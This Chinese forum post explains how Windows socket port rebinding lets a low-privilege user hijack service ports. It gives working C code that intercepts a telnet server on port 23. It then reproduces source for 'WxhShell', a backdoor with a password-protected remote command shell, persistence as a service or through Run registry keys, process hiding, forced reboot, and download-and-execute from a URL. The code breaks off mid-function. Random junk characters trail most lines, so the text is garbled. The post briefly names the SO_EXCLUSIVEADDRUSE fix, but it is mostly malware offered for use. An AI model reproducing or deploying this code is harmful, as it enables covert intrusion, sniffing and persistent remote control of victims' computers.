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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -f[95Z3}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u#34mg..  
{B6tGLt#bf  
  saddr.sin_family = AF_INET; 7;:Uv=  
o>4GtvA*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q(YQ$ i"S  
2Yd;#i)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {{ 4S gb  
{W#VUB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #]o#~:S=  
Jro%zZle  
  这意味着什么?意味着可以进行如下的攻击: -u 'BK@;  
V IU4QEW`x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RV+0C&0ff  
`zRm "G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) > 1&_-  
6m{1im=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =arrp:  
olf7L%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wTY8={p]  
PP)-g0^@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m:XMF)tW  
ghqq%g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !|S{e^WhbU  
0V:PRq;v0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &ffd#2f`@  
q--;5"=S  
  #include >NN&j#;x~  
  #include Bl)DuCV  
  #include }xM >F%  
  #include    p8MPn>h<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @5\ns-%  
  int main() 7vs>PV  
  { R k).D 6  
  WORD wVersionRequested; 9AdA|/WV  
  DWORD ret; g>O O '}lF  
  WSADATA wsaData; o}K!p %5_  
  BOOL val; d$`NApr  
  SOCKADDR_IN saddr; ueazAsk3g  
  SOCKADDR_IN scaddr; RZ&T\;m,7  
  int err; v81H!c.*  
  SOCKET s; n$T'gX#5  
  SOCKET sc; <U() *0  
  int caddsize; xT$9M"  
  HANDLE mt; ^8yhx-mgb  
  DWORD tid;   wtw  
  wVersionRequested = MAKEWORD( 2, 2 ); S>pbplE  
  err = WSAStartup( wVersionRequested, &wsaData ); =9JKg4I6  
  if ( err != 0 ) { 5 J9,/M0  
  printf("error!WSAStartup failed!\n"); )9 QeVf  
  return -1; k9<P]%  
  } ]2P*Z6Az  
  saddr.sin_family = AF_INET; L.@o  
   "R/Xv+;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n++L =&Wd  
yqw#= fy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Zxwcj(d  
  saddr.sin_port = htons(23); IaLCWvHX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #A2)]XvY  
  { !h0#es\  
  printf("error!socket failed!\n"); tb-:9*2j-  
  return -1; AG$S;)Yl9c  
  } ]dKLzW:l  
  val = TRUE; ' 4nR^,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eD4o8[s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *h>KeIB;  
  { q-fxs8+m|  
  printf("error!setsockopt failed!\n"); p|z\L}0  
  return -1; ^sp+ sr :  
  } M6P`~emX2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SGREpOlJ+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?x(]U+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F#w= z/  
&O5W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @sAT#[j  
  { E$'Zd,|f=  
  ret=GetLastError(); Sb&[V>!2^  
  printf("error!bind failed!\n"); ?m?DAd~ZY  
  return -1; ]HK|xO(  
  } i<*{Z~B  
  listen(s,2); Qf|=xV,F  
  while(1) <I{)p;u1  
  { s3*h=5bX=  
  caddsize = sizeof(scaddr); W~J>Srt  
  //接受连接请求 -4&SYCw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f"j"ZM{~U  
  if(sc!=INVALID_SOCKET) %/o8-N|_[  
  {  4_E{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^hhJ6E_W  
  if(mt==NULL) MW^,l=kqW)  
  { ZV`D} CQ  
  printf("Thread Creat Failed!\n"); >t,BNsWB  
  break; EhkvC>y  
  } h$Z_r($b  
  } ix<sorR H  
  CloseHandle(mt); k#I4^  
  } S&A, Q'  
  closesocket(s); Xq9n-;%zL  
  WSACleanup(); 4{h?!Z*  
  return 0; <303PPX^6  
  }   d+_wN2  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,{ C   
  { "-'w,g  
  SOCKET ss = (SOCKET)lpParam; Efm37Kv5l  
  SOCKET sc; Q3M;'m  
  unsigned char buf[4096]; "0F =txduS  
  SOCKADDR_IN saddr; }2^_Gaj  
  long num; `[<j5(T  
  DWORD val; @tY)s  
  DWORD ret; ))" *[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /Ot=GhN]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u.t(78N  
  saddr.sin_family = AF_INET; OKU9v{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dc MWCK  
  saddr.sin_port = htons(23); #HD$=ECcw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?- 5{XrNm  
  { ;IC:]Zu  
  printf("error!socket failed!\n"); f-N:  
  return -1; <n iq*  
  } 5G@z l  
  val = 100; M+X>!Os  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `c^ _5:euX  
  { $d4^e&s  
  ret = GetLastError(); uP\?y(= "  
  return -1; }b-"[TDEF  
  } N:j"W,8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $6~D 2K  
  { b]v.jgD  
  ret = GetLastError(); e7f3dqn0  
  return -1; _7(>0GY  
  } B{wx"mK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ux~rBv''  
  { =} Np0UP  
  printf("error!socket connect failed!\n"); *Z! #6(G  
  closesocket(sc); zPp?D_t  
  closesocket(ss); PpPg ~ix*  
  return -1; opQ%!["N  
  } NPws^  
  while(1) }(h_ztw  
  { uFDJRQJ<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $=7[.z&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 / AFn8=9'^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 58"Cn ||tF  
  num = recv(ss,buf,4096,0); ]de'v  
  if(num>0) e"u=4nk  
  send(sc,buf,num,0); WQ/H8rOs  
  else if(num==0) {=W TAgP  
  break; C zKU;~D=B  
  num = recv(sc,buf,4096,0); *f8; #.Re  
  if(num>0) COe"te  
  send(ss,buf,num,0); C%ibIcm y  
  else if(num==0) zQJ9V\0  
  break; fD3}s#M*G  
  } Zgt:ZO  
  closesocket(ss); gTE/g'3  
  closesocket(sc); h:iK;  
  return 0 ; 29DYL  
  } gF( aYuk  
MA\"JAP/  
(9hCO-r  
========================================================== q@K;u[zFK  
rPoPs@CBD  
下边附上一个代码,,WXhSHELL vd Fy}#X  
?;pw*s1Atz  
========================================================== Q}GsCmt=)O  
9ALE6  
#include "stdafx.h" R[Q`2ggG  
LeBuPR$  
#include <stdio.h> 413,O~^  
#include <string.h> V!#+Ti/w4  
#include <windows.h> )UA$."~O  
#include <winsock2.h> :<ye:P1s  
#include <winsvc.h> %|L+~=  
#include <urlmon.h> B#RwW,  
j(4BMk  
#pragma comment (lib, "Ws2_32.lib") " N)dle,  
#pragma comment (lib, "urlmon.lib") T4,dhS|  
0 1U/{D6D  
#define MAX_USER   100 // 最大客户端连接数 8?ldD  
#define BUF_SOCK   200 // sock buffer t sdkpt  
#define KEY_BUFF   255 // 输入 buffer Y! e  
0|<ER3xkx  
#define REBOOT     0   // 重启 vzl+0"  
#define SHUTDOWN   1   // 关机 tu}AJ  
uMl.}t2uYu  
#define DEF_PORT   5000 // 监听端口 *I)o Dq3  
(uV ~1  
#define REG_LEN     16   // 注册表键长度 Jh2eo+/%  
#define SVC_LEN     80   // NT服务名长度 /QDlm>FM4  
5$o]D  
// 从dll定义API s@^ (1g[w`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f/t1@d!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %a%x`S3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &WN#HI."]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lhsd 39NM  
c,a+u  
// wxhshell配置信息 0j*-ZvE)30  
struct WSCFG { N*6Y5[g!\  
  int ws_port;         // 监听端口 bF:]MB^VK  
  char ws_passstr[REG_LEN]; // 口令 |=H*" (  
  int ws_autoins;       // 安装标记, 1=yes 0=no cI)T@Zg_o+  
  char ws_regname[REG_LEN]; // 注册表键名 ?0_Bs4O\  
  char ws_svcname[REG_LEN]; // 服务名 /fCj;8T3o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1vlRzkd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N1rBpt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^R.kThG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rYUhGmg`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^:g8mt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tFLdBv!=:^  
|_Vi8Ly  
}; zlC|Spaf  
Afm GA9  
// default Wxhshell configuration pC 5J '@  
struct WSCFG wscfg={DEF_PORT, }HB)%C50.  
    "xuhuanlingzhe", 8F|8zX&  
    1, o:E+c_^q`  
    "Wxhshell", smEKQHB  
    "Wxhshell", rW$ )f  
            "WxhShell Service", E- ,/@4k  
    "Wrsky Windows CmdShell Service", EU?)AxH^  
    "Please Input Your Password: ", P?%kV  
  1, bp G`,[  
  "http://www.wrsky.com/wxhshell.exe", b#%s!  
  "Wxhshell.exe" @i`*i@g  
    }; ~IvAnwQ'  
iHy=92/Ww  
// 消息定义模块 rblEyCR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &6%%_Lw$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1 FTxbw@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -QR&]U+  
char *msg_ws_ext="\n\rExit."; =Q985)Y&  
char *msg_ws_end="\n\rQuit."; U X)k;h  
char *msg_ws_boot="\n\rReboot..."; %_xRS  
char *msg_ws_poff="\n\rShutdown..."; siveqz6h  
char *msg_ws_down="\n\rSave to "; 4qq+7B  
$]:yc n9l  
char *msg_ws_err="\n\rErr!"; 2 O\p`,.  
char *msg_ws_ok="\n\rOK!"; jt|e?1:vF  
$_s"16s  
char ExeFile[MAX_PATH]; l \~w(8g<A  
int nUser = 0; k(|D0%#b7  
HANDLE handles[MAX_USER]; 69{^Vfd;Y  
int OsIsNt; 1U[8OM{$  
k.nq,  
SERVICE_STATUS       serviceStatus; u,i~,M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ud]O'@G<  
FHpS?htRy  
// 函数声明 P,y*H_@k  
int Install(void); UJ-IK|P.#  
int Uninstall(void); ]i'hCa $$  
int DownloadFile(char *sURL, SOCKET wsh); g:0-` ,[  
int Boot(int flag); ER0nrTlB<  
void HideProc(void); +92/0  
int GetOsVer(void); {fXD@lhi  
int Wxhshell(SOCKET wsl); *nUD6(@g  
void TalkWithClient(void *cs); sE87}Lz  
int CmdShell(SOCKET sock); hKP7p   
int StartFromService(void); w?^qAj(*d  
int StartWxhshell(LPSTR lpCmdLine); 6t9Q,+nJ  
%00KOM:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PveY8[i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tr8a_CV  
e| x1Dq  
// 数据结构和表定义 r\J"|{)e  
SERVICE_TABLE_ENTRY DispatchTable[] =  pv<$ o  
{ 2QwdDKMS_  
{wscfg.ws_svcname, NTServiceMain}, O>]I!n`!!A  
{NULL, NULL} ETk4I "  
}; * SH5p  
Ua^#.K  
// 自我安装 hl`4_`3y  
int Install(void) G gmv(!  
{  ;0G+>&C8  
  char svExeFile[MAX_PATH]; YTH3t] &  
  HKEY key; \9Nd"E[B  
  strcpy(svExeFile,ExeFile); $'D|}=h<Y  
ut8v&i1?  
// 如果是win9x系统,修改注册表设为自启动 ;&B;RUUnTO  
if(!OsIsNt) { G'b*.\=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -xg$qvK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 cU]@j}2  
  RegCloseKey(key); J^tLKTB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )}QtK+Rq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x6Q,$B  
  RegCloseKey(key); r;}%} /IX  
  return 0; LIfQh  
    } Ne7HPSWiOP  
  } = GUgb2TAT  
} }7p`8?  
else { v x qsK  
eXo7_#  
// 如果是NT以上系统,安装为系统服务 d:08@~#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zpfsh2`  
if (schSCManager!=0) fFu+P<?"  
{ w1q-bIU  
  SC_HANDLE schService = CreateService VJW%y)_[  
  ( 1?:/8l%V  
  schSCManager, I8*_\Ez  
  wscfg.ws_svcname, z ((Y\vP  
  wscfg.ws_svcdisp, JC| j*x(k/  
  SERVICE_ALL_ACCESS, (+SfDL$m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :x"Q[079  
  SERVICE_AUTO_START, b CWSh~  
  SERVICE_ERROR_NORMAL, -'SpSy'_  
  svExeFile, OV<'v%_&  
  NULL, Q<4Sd:P`"  
  NULL, ^0oOiZs  
  NULL, %K0 H?^.  
  NULL, F@ Sw  
  NULL FbH 1yz  
  ); VK>ZH^-  
  if (schService!=0) QD6<sw@]P  
  { klkshlk d  
  CloseServiceHandle(schService); h- )tWJ c  
  CloseServiceHandle(schSCManager); 'ii5pxeNI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S\$=b_.  
  strcat(svExeFile,wscfg.ws_svcname); x-0O3IIE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tf1iRXf8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pC=kvve  
  RegCloseKey(key); WC2sRv4]3  
  return 0; D^]g`V*N  
    } .|ZO2MCd  
  } 1 Hw%DJ  
  CloseServiceHandle(schSCManager); p7H0|>  
} Sv&_LZ-"P  
} =$kSvCjP  
2G=prS`s  
return 1; y Skz5K+|g  
} GYp}V0  
>;wh0dBe  
// 自我卸载 o:oQF[TcFO  
int Uninstall(void) SSCyq#dl$  
{ c, IAz  
  HKEY key; [S Jx\Os  
X*'i1)_h  
if(!OsIsNt) { &E& _Z6#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _]oNbcbt(  
  RegDeleteValue(key,wscfg.ws_regname); {,:yZ&(  
  RegCloseKey(key); EV=/'f[++  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &k\`!T1  
  RegDeleteValue(key,wscfg.ws_regname); Y)V)g9  
  RegCloseKey(key); |aD8  
  return 0; a] =k-Xh  
  } 1}=@';cK*  
} <c; U 0! m  
} 4$~A%JN3  
else {  m$XMq  
TwdY6E3`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hl"^E*9x  
if (schSCManager!=0) )4O>V?B  
{ $U*b;'o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (U`<r-n\n  
  if (schService!=0) jWpm"C  
  { _bsAF^ ;  
  if(DeleteService(schService)!=0) { UnVYGch  
  CloseServiceHandle(schService); t=(d, kf  
  CloseServiceHandle(schSCManager); CdZS"I  
  return 0; g \;,NW^  
  } :{ 8,O-  
  CloseServiceHandle(schService); 8uh^%La8b.  
  } ,8Eg/  
  CloseServiceHandle(schSCManager); fYgEiap  
} rt8"U <~  
} NuEcTww  
f;{K+\T  
return 1; {TOz}=R"3h  
} (R^qY"H 2  
uO^,N**R#  
// 从指定url下载文件 _&SST)Y|  
int DownloadFile(char *sURL, SOCKET wsh) A>9I E(C_  
{ >;s!X(6 b  
  HRESULT hr; u{J\X$]  
char seps[]= "/"; zg}#X6\G<_  
char *token; v#^_|  
char *file; S UB rFsA  
char myURL[MAX_PATH]; Z [Q jl*  
char myFILE[MAX_PATH]; 3[*x'"Q;H  
%(}%#-X  
strcpy(myURL,sURL); )B$Uo,1  
  token=strtok(myURL,seps); X$A[~v  
  while(token!=NULL) '.gLqm}%  
  { mb GL)NI  
    file=token; yg WwUpY  
  token=strtok(NULL,seps); 2G&H[`  
  } 8-5g6qAS  
# A#,]XP  
GetCurrentDirectory(MAX_PATH,myFILE); *L{^em#b  
strcat(myFILE, "\\"); r?%,#1|$$  
strcat(myFILE, file); rds 4eUxe  
  send(wsh,myFILE,strlen(myFILE),0); 4R}$P1 E  
send(wsh,"...",3,0); `Lj'2LoER  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E51'TT9  
  if(hr==S_OK) P[K42 mm  
return 0; y F;KyY{  
else =WEWs4V5A  
return 1; TQL_K8k@_  
=38c}(  
} p!/ *(TT  
.VA'W16  
// 系统电源模块 =a $7^d  
int Boot(int flag) ecdM+kP  
{ iezY+`x4  
  HANDLE hToken; ?m bI6fYv  
  TOKEN_PRIVILEGES tkp; nd)`G$gL  
jBr3Ay@<  
  if(OsIsNt) { M <K}H8?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :G4)edwe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "ivSpec.V  
    tkp.PrivilegeCount = 1; l\6.f_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dTVh{~/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (.~,I+Cz'  
if(flag==REBOOT) { tSX,*cz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CyKupJ.Fq  
  return 0; z{ (c-7*  
} 0RF<:9@x2  
else { fO{'$?K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zbZN-j#  
  return 0; OrRU$5Lo  
} V8947h|&  
  } i Qa=4'9;  
  else { ;mauA#vd  
if(flag==REBOOT) { c :u2a/Q?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y{9<>28  
  return 0; [pzo[0G 'v  
} S{S.H?{F  
else { 8,&pX ga  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Gp| _8  
  return 0; 5e >qBw8t  
} rPx:o}&<  
} oTb4T=  
um=qT)/D  
return 1; |>dqZ_)v  
} K!O7q~s[D  
!{S HlS  
// win9x进程隐藏模块 ?{(Jy*  
void HideProc(void) 5 8n(fdE  
{ !glGW[r/7  
xG8z4Yu   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EMw biGV  
  if ( hKernel != NULL ) 1z-Q~m@@  
  { E>&oe&`o'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K {__rO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +8 }p-<a  
    FreeLibrary(hKernel); (;2]`D [x  
  } ;|D8"D6]  
;T|hNsSt  
return; tW \q;_DSr  
} *k !zdV  
nD!5I@D  
// 获取操作系统版本 te b/  
int GetOsVer(void) e$4$G<8;y  
{ kWxcB7)uk  
  OSVERSIONINFO winfo; %R-KkK<S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QvDD   
  GetVersionEx(&winfo); 4^{~MgQWK+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^T_2 s  
  return 1; ;oJCV"y6$  
  else xf 4`+[  
  return 0; T`K4nU#  
} }^Ky)**  
9RnXp&w  
// 客户端句柄模块 Na>?1F"KHk  
int Wxhshell(SOCKET wsl) B+n(K+  
{ :=2l1Y[-G  
  SOCKET wsh; .*c%A^>  
  struct sockaddr_in client; C^9bur/  
  DWORD myID; la*c/*  
}Oe9Zq  
  while(nUser<MAX_USER) !~a1xI~s  
{ ^<v]x; 3  
  int nSize=sizeof(client); S1E=EVG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $LJCup,1"  
  if(wsh==INVALID_SOCKET) return 1; b:YyzOqEu  
#RVN 7-x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vF .Ml  
if(handles[nUser]==0) A9C  
  closesocket(wsh); "V:E BR  
else O_[]+5.TX  
  nUser++; ['\ u?m  
  } {U7A&e0eW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mqKr+  
&?#!%Ds  
  return 0; z|WDqB%/I  
} |<w Z;d  
4<l&cP  
// 关闭 socket tjt#2i8/  
void CloseIt(SOCKET wsh) {aYCrk1  
{ ca?;!~%zA  
closesocket(wsh); O K2|/y  
nUser--; BZs?tbf  
ExitThread(0); \"AzT{l!;  
} )d"s6i  
` EgO&;1D)  
// 客户端请求句柄 `ILO]+`5  
void TalkWithClient(void *cs) :yE7jXB  
{ }@NT#hD  
MP%pEUomev  
  SOCKET wsh=(SOCKET)cs; 07qL@![!  
  char pwd[SVC_LEN]; Q0-}!5`E1$  
  char cmd[KEY_BUFF]; $+Zj)V(  
char chr[1]; -?PXj)<  
int i,j; -A;4""  
'(&,i/O  
  while (nUser < MAX_USER) { 2:Rxyg@'  
}q<%![%  
if(wscfg.ws_passstr) { B4ky%gF4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8jm\/?k|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M,/{53  
  //ZeroMemory(pwd,KEY_BUFF); =3<@{^Eg  
      i=0; P4.snRQ  
  while(i<SVC_LEN) { oZ"93]3-  
,`;Dre  
  // 设置超时 O*y@4AR"S  
  fd_set FdRead; BZ -)XF'4  
  struct timeval TimeOut; xH/Pw?^  
  FD_ZERO(&FdRead); ?j-;;NNf  
  FD_SET(wsh,&FdRead); E-XFW]I  
  TimeOut.tv_sec=8; # vBS7ba  
  TimeOut.tv_usec=0; UJ1Ecob  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3FpSo+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q+}Er*r  
7(1UXtT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q2HULz{  
  pwd=chr[0]; U8s&5~IPn  
  if(chr[0]==0xd || chr[0]==0xa) { &W:R#/|  
  pwd=0; HE>sZ;  
  break; /;\{zA$uC=  
  } YMTB4|{  
  i++; *m 9,_~t  
    } [sweN]b6F  
n;,>Fv  
  // 如果是非法用户,关闭 socket }~3 %KHT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R8YA"(j!L  
} 2[Q/|D}}|  
L2m~ GnP|?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y~ ( <H e?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Hyfj j  
2*9rhOK*  
while(1) { ( R0>0f@  
nlaeo"]  
  ZeroMemory(cmd,KEY_BUFF); cri.kr9Y  
s u)AIvF{  
      // 自动支持客户端 telnet标准    LAfv1  
  j=0; o6~9.~_e  
  while(j<KEY_BUFF) { gBCO>nJws  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~76qFZe-  
  cmd[j]=chr[0]; *g;4?_f  
  if(chr[0]==0xa || chr[0]==0xd) { -)2sR>`A%  
  cmd[j]=0; :KL5A1{  
  break; 1xF<c<  
  } Z$&i"1{  
  j++; dJYQdo^X  
    } Bm&%N?9  
h.D*Y3=<  
  // 下载文件 .ECT  
  if(strstr(cmd,"http://")) { ?Pw(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -yH8bm'0"  
  if(DownloadFile(cmd,wsh)) FELTmQUV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I:9jn"  
  else Lm}J& ^>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eFiUB  
  } &@anv.D  
  else { G,6Zy-Y9  
_6 ,Tb]  
    switch(cmd[0]) { 9X6l`bo'  
  Jf|6 FQo&  
  // 帮助 eX9Hwq4X44  
  case '?': { #Z.2g].  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lqe71](sK8  
    break; ddiBjp2.!  
  } _>"f&nb O  
  // 安装 A]k-bX= s  
  case 'i': { IU*w 'a  
    if(Install()) ~0ku,P#D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1__Mf.A  
    else Q+]9Glz9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I||4.YT  
    break; j(SBpM  
    } uqMe %  
  // 卸载 5Sm)+FC :  
  case 'r': { zjVQ\L  
    if(Uninstall()) {~RS$ |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b\^q9fy  
    else s wIJmA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `[*nUdG  
    break; Yo$ xz  
    } fqcFfz6?x  
  // 显示 wxhshell 所在路径 ]sf1+3  
  case 'p': { aHvsgp]  
    char svExeFile[MAX_PATH]; u:FFZ  
    strcpy(svExeFile,"\n\r"); ~-.^eT kP  
      strcat(svExeFile,ExeFile); +~~&FO2  
        send(wsh,svExeFile,strlen(svExeFile),0); m2o)/:  
    break; |`50Tf\J  
    } u^!c:RfE?  
  // 重启 861!p%y5  
  case 'b': { [c=T)]E1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n6f  
    if(Boot(REBOOT)) 5sc`L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S`qa_yI)Ed  
    else { n,E =eNc  
    closesocket(wsh); |VPJaiC~  
    ExitThread(0); Q-:IE T  
    } +g6t)Gl  
    break; W$X@DXT=o  
    } \ &S-lsLY  
  // 关机 |d B`URP  
  case 'd': {  c>(`X@KL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #kt3l59Ty  
    if(Boot(SHUTDOWN)) M_Qv{   
